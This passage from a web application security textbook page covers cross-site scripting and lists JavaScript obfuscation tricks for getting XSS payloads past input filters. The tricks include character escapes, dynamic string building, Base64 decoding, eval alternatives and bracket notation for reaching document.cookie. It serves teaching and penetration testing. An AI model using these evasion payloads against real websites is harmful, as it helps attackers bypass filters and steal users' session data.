the-web-application-hackers-handbook

466 Chapter 12 n Attacking Users: Cross-Site Scripting
use various string manipulation techniques to hide the command you are
executing.
Within JavaScript strings, you can use Unicode escapes, hexadecimal escapes,
and octal escapes:
eval(‘a\u006cert(1)’);
eval(‘a\x6cert(1)’);
eval(‘a\154ert(1)’);
Furthermore, superfluous escape characters within strings are ignored:
eval(‘a\l\ert\(1\)’);
Dynamically Constructing Strings
You can use other techniques to dynamically construct strings to use in your attacks:
eval(‘al’+’ert(1)’);
eval(String.fromCharCode(97,108,101,114,116,40,49,41));
eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));
The final example, which works on Firefox, allows you to decode a Base64-
encoded command before passing it to eval.
Alternatives to eval
If direct calls to the eval command are not possible, you have other ways to
execute commands in string form:
’alert(1)’.replace(/.+/,eval)
function::[‘alert’](1)
Alternatives to Dots
If the dot character is being blocked, you can use other methods to perform
dereferences:
alert(document[‘cookie’])
with(document)alert(cookie)
Combining Multiple Techniques
The techniques described so far can often be used in combination to apply several
layers of obfuscation to your attack. Furthermore, in cases where JavaScript
is being used within an HTML tag attribute (via an event handler, scripting
pseudo-protocol, or dynamically evaluated style), you can combine these techniques
with HTML encoding. The browser HTML-decodes the tag attribute
value before the JavaScript it contains is interpreted. In the following example,
the “e” character in “alert” has been escaped using Unicode escaping, and the
backslash used in the Unicode escape has been HTML-encoded: